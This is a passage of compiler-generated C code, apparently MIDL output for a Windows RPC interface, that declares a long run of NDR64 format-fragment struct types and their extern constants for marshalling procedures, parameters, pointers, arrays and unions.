_NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag897_t;\nextern const __midl_frag897_t __midl_frag897;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag883_t;\nextern const __midl_frag883_t __midl_frag883;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag877_t;\nextern const __midl_frag877_t __midl_frag877;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag876_t;\nextern const __midl_frag876_t __midl_frag876;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag875_t;\nextern const __midl_frag875_t __midl_frag875;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag867_t;\nextern const __midl_frag867_t __midl_frag867;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag854_t;\nextern const __midl_frag854_t __midl_frag854;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag853_t;\nextern const __midl_frag853_t __midl_frag853;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag840_t;\nextern const __midl_frag840_t __midl_frag840;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag839_t;\nextern const __midl_frag839_t __midl_frag839;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag838_t;\nextern const __midl_frag838_t __midl_frag838;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag832_t;\nextern const __midl_frag832_t __midl_frag832;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag831_t;\nextern const __midl_frag831_t __midl_frag831;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag830_t;\nextern const __midl_frag830_t __midl_frag830;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag829_t;\nextern const __midl_frag829_t __midl_frag829;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag827_t;\nextern const __midl_frag827_t __midl_frag827;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag826_t;\nextern const __midl_frag826_t __midl_frag826;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag824_t;\nextern const __midl_frag824_t __midl_frag824;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag822_t;\nextern const __midl_frag822_t __midl_frag822;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag819_t;\nextern const __midl_frag819_t __midl_frag819;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag817_t;\nextern const __midl_frag817_t __midl_frag817;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag816_t;\nextern const __midl_frag816_t __midl_frag816;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag815_t;\nextern const __midl_frag815_t __midl_frag815;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag814_t;\nextern const __midl_frag814_t __midl_frag814;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag812_t;\nextern const __midl_frag812_t __midl_frag812;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag809_t;\nextern const __midl_frag809_t __midl_frag809;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag807_t;\nextern const __midl_frag807_t __midl_frag807;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_MEMPAD_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n    } frag2;\n}\n__midl_frag804_t;\nextern const __midl_frag804_t __midl_frag804;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag803_t;\nextern const __midl_frag803_t __midl_frag803;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag802_t;\nextern const __midl_frag802_t __midl_frag802;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag801_t;\nextern const __midl_frag801_t __midl_frag801;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_MEMPAD_FORMAT frag9;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n    } frag2;\n}\n__midl_frag797_t;\nextern const __midl_frag797_t __midl_frag797;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag796_t;\nextern const __midl_frag796_t __midl_frag796;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag795_t;\nextern const __midl_frag795_t __midl_frag795;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    NDR64_UINT32 frag6;\n}\n__midl_frag794_t;\nextern const __midl_frag794_t __midl_frag794;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag793_t;\nextern const __midl_frag793_t __midl_frag793;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag783_t;\nextern const __midl_frag783_t __midl_frag783;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag778_t;\nextern const __midl_frag778_t __midl_frag778;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag775_t;\nextern const __midl_frag775_t __midl_frag775;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag766_t;\nextern const __midl_frag766_t __midl_frag766;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag764_t;\nextern const __midl_frag764_t __midl_frag764;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag763_t;\nextern const __midl_frag763_t __midl_frag763;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag762_t;\nextern const __midl_frag762_t __midl_frag762;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag761_t;\nextern const __midl_frag761_t __midl_frag761;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag760_t;\nextern const __midl_frag760_t __midl_frag760;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag757_t;\nextern const __midl_frag757_t __midl_frag757;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag756_t;\nextern const __midl_frag756_t __midl_frag756;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag755_t;\nextern const __midl_frag755_t __midl_frag755;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag747_t;\nextern const __midl_frag747_t __midl_frag747;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag742_t;\nextern const __midl_frag742_t __midl_frag742;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag741_t;\nextern const __midl_frag741_t __midl_frag741;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag740_t;\nextern const __midl_frag740_t __midl_frag740;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag739_t;\nextern const __midl_frag739_t __midl_frag739;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag732_t;\nextern const __midl_frag732_t __midl_frag732;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag728_t;\nextern const __midl_frag728_t __midl_frag728;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag725_t;\nextern const __midl_frag725_t __midl_frag725;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag724_t;\nextern const __midl_frag724_t __midl_frag724;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag723_t;\nextern const __midl_frag723_t __midl_frag723;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag722_t;\nextern const __midl_frag722_t __midl_frag722;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag719_t;\nextern const __midl_frag719_t __midl_frag719;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag718_t;\nextern const __midl_frag718_t __midl_frag718;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag717_t;\nextern const __midl_frag717_t __midl_frag717;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_MEMPAD_FORMAT frag5;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n    } frag2;\n}\n__midl_frag715_t;\nextern const __midl_frag715_t __midl_frag715;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag714_t;\nextern const __midl_frag714_t __midl_frag714;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag710_t;\nextern const __midl_frag710_t __midl_frag710;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag709_t;\nextern const __midl_frag709_t __midl_frag709;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag707_t;\nextern const __midl_frag707_t __midl_frag707;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag706_t;\nextern const __midl_frag706_t __midl_frag706;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n    struct _NDR64_EXPR_VAR frag4;\n}\n__midl_frag705_t;\nextern const __midl_frag705_t __midl_frag705;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag704_t;\nextern const __midl_frag704_t __midl_frag704;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag703_t;\nextern const __midl_frag703_t __midl_frag703;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag702_t;\nextern const __midl_frag702_t __midl_frag702;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag699_t;\nextern const __midl_frag699_t __midl_frag699;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag697_t;\nextern const __midl_frag697_t __midl_frag697;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag696_t;\nextern const __midl_frag696_t __midl_frag696;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag695_t;\nextern const __midl_frag695_t __midl_frag695;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag692_t;\nextern const __midl_frag692_t __midl_frag692;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag691_t;\nextern const __midl_frag691_t __midl_frag691;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag690_t;\nextern const __midl_frag690_t __midl_frag690;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag686_t;\nextern const __midl_frag686_t __midl_frag686;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag683_t;\nextern const __midl_frag683_t __midl_frag683;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag682_t;\nextern const __midl_frag682_t __midl_frag682;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag681_t;\nextern const __midl_frag681_t __midl_frag681;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag677_t;\nextern const __midl_frag677_t __midl_frag677;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag676_t;\nextern const __midl_frag676_t __midl_frag676;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag673_t;\nextern const __midl_frag673_t __midl_frag673;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag669_t;\nextern const __midl_frag669_t __midl_frag669;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag668_t;\nextern const __midl_frag668_t __midl_frag668;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag664_t;\nextern const __midl_frag664_t __midl_frag664;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag656_t;\nextern const __midl_frag656_t __midl_frag656;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag655_t;\nextern const __midl_frag655_t __midl_frag655;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag654_t;\nextern const __midl_frag654_t __midl_frag654;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag653_t;\nextern const __midl_frag653_t __midl_frag653;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n}\n__midl_frag648_t;\nextern const __midl_frag648_t __midl_frag648;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag646_t;\nextern const __midl_frag646_t __midl_frag646;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag645_t;\nextern const __midl_frag645_t __midl_frag645;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag644_t;\nextern const __midl_frag644_t __midl_frag644;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag642_t;\nextern const __midl_frag642_t __midl_frag642;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag626_t;\nextern const __midl_frag626_t __midl_frag626;\n\ntypedef \nstruct \n{\n    struct 